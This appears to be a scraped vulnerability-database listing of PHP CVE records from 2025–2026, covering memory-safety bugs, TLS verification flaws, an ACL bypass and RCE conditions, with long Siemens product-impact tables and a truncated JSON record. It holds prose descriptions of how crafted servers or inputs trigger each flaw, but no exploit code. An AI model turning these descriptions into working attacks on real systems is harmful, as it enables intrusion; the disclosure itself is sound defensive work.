VEX
Title
Integer overflow to buffer overflow in soap HTTP parsing
Summary
The SOAP HTTP client guards its response buffer growth with a check that relies on signed integer overflow, which is undefined behaviour and is not guaranteed to trigger. When the check is optimised away, a malicious SOAP server can make the client allocate a buffer far smaller than the data it then writes into it, producing a heap buffer overflow.
Severity
6.5 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-25 20:43 UTC
CWE
- CWE-190 - Integer overflow or wraparound
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
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CVE-2026-93682 (GCVE-0-2026-93682)
Vulnerability from nvd – Published: 2026-09-25 20:02 – Updated: 2026-09-25 20:38
VLAI
EPSS
VEX
Title
Out-of-bounds read in the HTTP stream wrapper when following a redirect with an empty Location header
Summary
When the HTTP stream wrapper follows a redirect and the response carries a Location header with an empty value, the redirect code reads one byte past the end of the heap buffer holding the location. The value of that out-of-bounds byte decides which redirect target is built, so a malicious server controls whether the client is sent to the host root or to the current directory.
Severity
5.8 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-25 20:37 UTC
CWE
- CWE-125 - Out-of-bounds read
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
Impacted products
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CVE-2026-109619 (GCVE-0-2026-109619)
Vulnerability from cvelistv5 – Published: 2026-10-21 13:54 – Updated: 2026-11-05 18:17Title
RCE via stale global state
Summary
PHP has various global state that temporarily points into request memory. In some scenarios, global state may not be correctly reset, or may be repopulated after being reset. The global state may then refer to request memory even after it has been freed. Subsequent requests may read or branch on this stale state before it is fully initialized. Multiple strategies can trigger this condition and produce remote code execution (RCE).
Severity
SSVC
Exploitation: active
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-21 00:00 UTC
CWE
Assigner
References
19 references
Impacted products
108 products
| Vendor | Product | Version | |
|---|---|---|---|
| PHP Group | PHP |
Affected:
8.2.* , < 8.2.35
(semver)
Affected: 8.3.* , < 8.3.36 (semver) Affected: 8.4.* , < 8.4.27 (semver) Affected: 8.5.* , < 8.5.12 (semver) |
|
| Siemens | AMIS TS |
Affected:
0 , < *
(custom)
|
|
| Siemens | AX4 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | blueplanet 360 NX3 M6 WM OD IISX |
Affected:
0 , < *
(custom)
|
|
| Siemens | blueplanet 360 NX3 M6 WM OD IISX - S |
Affected:
0 , < *
(custom)
|
|
| Siemens | Building X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | CADRA |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Call stations |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Capital |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Chargesight |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Climatix Cloud IC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Climatix Devices |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect Insights |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X200 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X300 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X500 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | cRSP |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Depotfinity |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter X Essentials |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo CC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo DXR2 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo DXR3 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo Optic |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC3 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC4 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC5 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC7 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | DFMExpress |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Energy Engage V2.0SP9 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Energy Engage V3.1SP1 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Energy Management System |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Enlighted RTLS |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Enlighted Space |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox Flex Pro |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox H60 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox Rapid |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | HyperLynx |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Insights Hub |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Local Monitoring bt-monitoring-vm |
Affected:
0 , < V20261103
(custom)
|
|
| Siemens | Navigator E&S |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Novigo VANSYS |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Novigo VANSYS core |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Connect Electronics |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Connect MOM |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Core |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Discrete |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Foundation |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Pharma |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Process |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Intelligence |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Intra Plant Logistics |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Quality |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter RDnL |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PACE-Design |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Pro Essentials |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Pro Student Edition |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Professional |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Professional - XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Standard - XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Standard & Standard Plus |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Pathway to Learning Engineering |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Polarion |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | QuadView |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | RUGGEDCOM APE1808 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Sicharge D |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sicharge D Configuration Backend |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SICHARGE FLEX |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SICHARGE UC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Control |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Go |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Setup |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Flomaster |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Flux |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Simlab |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sinteso FS20 EN |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SiPass integrated |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SIPORT |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Control |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Control Pro |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Intrusion |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Video |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Solid Edge |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power 3 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power 4 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power 7 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power TG |
Affected:
0 , < *
(custom)
|
|
| Siemens | Supply Chain Suite |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Product Cost Management |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Share |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Visualization |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Tecnomatix Plant Simulation |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | TestWay |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Valor NPI |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Verischarge |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | VersiCloudHeliox Dual Port 60kW |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Voice alarm panels |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Voice alarm systems and audio matrices |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Workplace Experience |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xcargo |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Designer |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Enterprise |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Enterprise XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition IC Packaging |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Layout Browser |
Unaffected:
0 , < *
(custom)
|
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CVE-2026-109618 (GCVE-0-2026-109618)
Vulnerability from cvelistv5 – Published: 2026-10-21 13:48 – Updated: 2026-11-05 18:17Title
RCE via OOM corruption
Summary
PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).
Severity
SSVC
Exploitation: active
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-21 00:00 UTC
CWE
Assigner
References
11 references
Impacted products
107 products
| Vendor | Product | Version | |
|---|---|---|---|
| PHP Group | PHP |
Affected:
8.2.* , < 8.2.35
(semver)
Affected: 8.3.* , < 8.3.36 (semver) Affected: 8.4.* , < 8.4.27 (semver) Affected: 8.5.* , < 8.5.12 (semver) |
|
| Siemens | AMIS TS |
Affected:
0 , < *
(custom)
|
|
| Siemens | AX4 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | blueplanet 360 NX3 M6 WM OD IISX |
Affected:
0 , < *
(custom)
|
|
| Siemens | blueplanet 360 NX3 M6 WM OD IISX - S |
Affected:
0 , < *
(custom)
|
|
| Siemens | Building X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | CADRA |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Call stations |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Capital |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Chargesight |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Climatix Cloud IC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Climatix Devices |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect Insights |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X200 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X300 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X500 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | cRSP |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Depotfinity |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter X Essentials |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo CC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo DXR2 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo DXR3 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo Optic |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC3 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC4 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC5 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC7 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | DFMExpress |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Energy Engage V2.0SP9 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Energy Engage V3.1SP1 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Energy Management System |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Enlighted RTLS |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Enlighted Space |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox Flex Pro |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox H60 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox Rapid |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | HyperLynx |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Insights Hub |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Local Monitoring bt-monitoring-vm |
Affected:
0 , < V20261103
(custom)
|
|
| Siemens | Navigator E&S |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Novigo VANSYS |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Novigo VANSYS core |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Connect Electronics |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Connect MOM |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Core |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Discrete |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Foundation |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Pharma |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Process |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Intelligence |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Intra Plant Logistics |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Quality |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter RDnL |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PACE-Design |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Pro Essentials |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Pro Student Edition |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Professional |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Professional - XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Standard - XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Standard & Standard Plus |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Pathway to Learning Engineering |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Polarion |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | QuadView |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | RUGGEDCOM APE1808 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Sicharge D |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sicharge D Configuration Backend |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SICHARGE FLEX |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SICHARGE UC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Control |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Go |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Setup |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Flomaster |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Flux |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Simlab |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sinteso FS20 EN |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SiPass integrated |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SIPORT |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Control |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Control Pro |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Intrusion |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Video |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Solid Edge |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power 4 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power 7 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power TG |
Affected:
0 , < *
(custom)
|
|
| Siemens | Supply Chain Suite |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Product Cost Management |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Share |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Visualization |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Tecnomatix Plant Simulation |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | TestWay |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Valor NPI |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Verischarge |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | VersiCloudHeliox Dual Port 60kW |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Voice alarm panels |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Voice alarm systems and audio matrices |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Workplace Experience |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xcargo |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Designer |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Enterprise |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Enterprise XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition IC Packaging |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Layout Browser |
Unaffected:
0 , < *
(custom)
|
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CVE-2026-92842 (GCVE-0-2026-92842)
Vulnerability from cvelistv5 – Published: 2026-09-25 21:11 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
OOB read / info leak in convert.* stream filters when line-break-chars contains NUL
Summary
The convert.base64-encode, convert.quoted-printable-encode and convert.quoted-printable-decode stream filters accept a line-break-chars option whose length is tracked separately from the string itself. The filter constructors duplicate the value with pestrdup(), which stops at the first NUL byte, while keeping the original length. When the filter later emits a line break it copies the recorded length out of the truncated allocation, reading past its end and placing adjacent heap bytes into the filter output.
Severity
5.9 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
Assigner
References
1 reference
| URL | Tags |
|---|---|
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CVE-2026-91768 (GCVE-0-2026-91768)
Vulnerability from cvelistv5 – Published: 2026-09-25 21:07 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
IPv6 ACL bypass in FastCGI listen.allowed_clients due to partial address comparison (memcmp 12 bytes)
Summary
The IPv6 branch of the FastCGI client access check compares only the first 12 bytes of a 16-byte IPv6 address, so listen.allowed_clients matches on a /96 prefix instead of the exact address. An attacker who can source an address sharing the first 96 bits with an allowed one passes the check and reaches the FastCGI endpoint.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:57 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
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CVE-2026-91769 (GCVE-0-2026-91769)
Vulnerability from cvelistv5 – Published: 2026-09-25 20:59 – Updated: 2026-10-04 16:10
VLAI
EPSS
VEX
Title
TLS Hostname Verification Falls Back to CN After SAN Mismatch
Summary
PHP's OpenSSL stream peer verification checks the certificate's subjectAltName entries first and, whenever no entry matches, falls back to the Common Name. RFC 6125 requires the CN to be ignored once the certificate presents any service identity, so a certificate carrying a non-matching DNS SAN was still accepted when its CN matched the requested peer_name. A certificate trusted by the client for one name can therefore be used to impersonate another.
Severity
4.3 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
CWE
- CWE-297 - Improper validation of certificate with host mismatch
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
Impacted products
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CVE-2026-91767 (GCVE-0-2026-91767)
Vulnerability from cvelistv5 – Published: 2026-09-25 20:53 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
Heap-buffer-overflow in php_openssl_matches_wildcard_name on crafted server cert wildcard CN
Summary
php_openssl_matches_wildcard_name() in ext/openssl/xp_ssl.c underflows the length argument passed to memchr() when a TLS server certificate presents a wildcard name whose literal characters are together longer than the hostname being verified. A malicious server presenting such a certificate makes the PHP client read up to SIZE_MAX bytes past the end of a heap allocation. The path is reachable from any default client stream, because verify_peer_name is enabled by default.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
CWE
- CWE-122 - Heap-based buffer overflow
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
Impacted products
Date Public
2026-09-25 20:49
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CVE-2025-1218 (GCVE-0-2025-1218)
Vulnerability from cvelistv5 – Published: 2026-09-25 20:48 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
Various packet overreads in mysqlnd_writeprotocol.c
Summary
The mysqlnd wire protocol parser reads fields out of server packets before checking that the packet still holds enough bytes for them. A malicious or compromised MySQL server can send a truncated packet and make the client read past the end of the packet buffer, which is undefined behaviour and can crash the process.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
CWE
- CWE-122 - Heap-based buffer overflow
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
Impacted products
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CVE-2026-91766 (GCVE-0-2026-91766)
Vulnerability from cvelistv5 – Published: 2026-09-25 20:40 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
Cross-origin credential leak in HTTP stream wrapper redirects
Summary
When the http:// stream wrapper follows a redirect it forwards the user-supplied Authorization, Cookie and Proxy-Authorization headers unchanged, even when the redirect target is a different host, a different port, or a downgrade from HTTPS to HTTP. A server that can steer a redirect therefore receives credentials that were only meant for the original origin. This is the same class of issue that libcurl fixed in 7.58.0 ( CVE-2018-1000007 https://github.com/advisories/GHSA-g7x2-hrfp-pv5f ).
Severity
5.9 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
Impacted products
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CVE-2026-91765 (GCVE-0-2026-91765)
Vulnerability from cvelistv5 – Published: 2026-09-25 20:33 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
SOAP: Unbounded Recursion in Server-Side cleanup_xml_node
Summary
cleanup_xml_node() in the SOAP XML parser recurses once per XML nesting level with no depth limit. An unauthenticated attacker can post a SOAP request containing tens of thousands of nested elements to any SoapServer endpoint, exhaust the stack and crash the process. The same unbounded recursion exists in the SOAP value decoder and in the WSDL node search helper.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
Impacted products
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CVE-2025-14181 (GCVE-0-2025-14181)
Vulnerability from cvelistv5 – Published: 2026-09-25 20:26 – Updated: 2026-09-25 20:44
VLAI
EPSS
VEX
Title
Integer overflow to buffer overflow in soap HTTP parsing
Summary
The SOAP HTTP client guards its response buffer growth with a check that relies on signed integer overflow, which is undefined behaviour and is not guaranteed to trigger. When the check is optimised away, a malicious SOAP server can make the client allocate a buffer far smaller than the data it then writes into it, producing a heap buffer overflow.
Severity
6.5 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-25 20:43 UTC
CWE
- CWE-190 - Integer overflow or wraparound
Assigner
References
1 reference
| URL | Tags |
|---|---|
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CVE-2026-17545 (GCVE-0-2026-17545)
Vulnerability from cvelistv5 – Published: 2026-09-25 20:18 – Updated: 2026-09-25 20:43
VLAI
EPSS
VEX
Title
PHP on Windows: Reserved Device Names Are Not Rejected Before File/Stream I/O which can cause DoS
Summary
On Windows, PHP's filesystem and stream APIs do not reject reserved device names such as CON, PRN, AUX, NUL, COM1 to COM9, LPT1 to LPT9, CONIN$ and CONOUT$ when they appear as a component of a path. An attacker-controlled filename therefore reaches CreateFileW() and opens a device instead of the regular file the application expected, which can block or hang the request and exhaust worker processes.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-25 20:43 UTC
CWE
- CWE-67 - Improper handling of windows device names
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
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CVE-2026-6103 (GCVE-0-2026-6103)
Vulnerability from cvelistv5 – Published: 2026-09-25 20:08 – Updated: 2026-09-25 20:41
VLAI
EPSS
VEX
Title
Phar TAR phar_tar_number() Integer Overflow - Archive Entry Injection
Summary
phar_tar_number() parses the octal size field of a TAR header into a uint32_t with no overflow check. The field is 11 octal digits wide and holds values up to 0x1FFFFFFFF, so a size above 0xFFFFFFFF silently wraps. The parser then skips the wrong number of data blocks and interprets attacker-controlled file content as the next TAR header, which lets a crafted archive inject entries that PharData reports and extracts as if they were genuine.
Severity
4.3 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-25 20:41 UTC
CWE
- CWE-190 - Integer overflow or wraparound
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
Impacted products
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CVE-2026-93682 (GCVE-0-2026-93682)
Vulnerability from cvelistv5 – Published: 2026-09-25 20:02 – Updated: 2026-09-25 20:38
VLAI
EPSS
VEX
Title
Out-of-bounds read in the HTTP stream wrapper when following a redirect with an empty Location header
Summary
When the HTTP stream wrapper follows a redirect and the response carries a Location header with an empty value, the redirect code reads one byte past the end of the heap buffer holding the location. The value of that out-of-bounds byte decides which redirect target is built, so a malicious server controls whether the client is sent to the host root or to the current directory.
Severity
5.8 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-25 20:37 UTC
CWE
- CWE-125 - Out-of-bounds read
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-93682",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-25T20:37:51.434446Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-25T20:38:14.346Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/php/php-src/security/advisories/GHSA-7875-c8px-7q5f"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageName": "ext-standard",
"product": "PHP",
"vendor": "PHP Group",
"versions": [
{
"lessThan": "8.2.34",
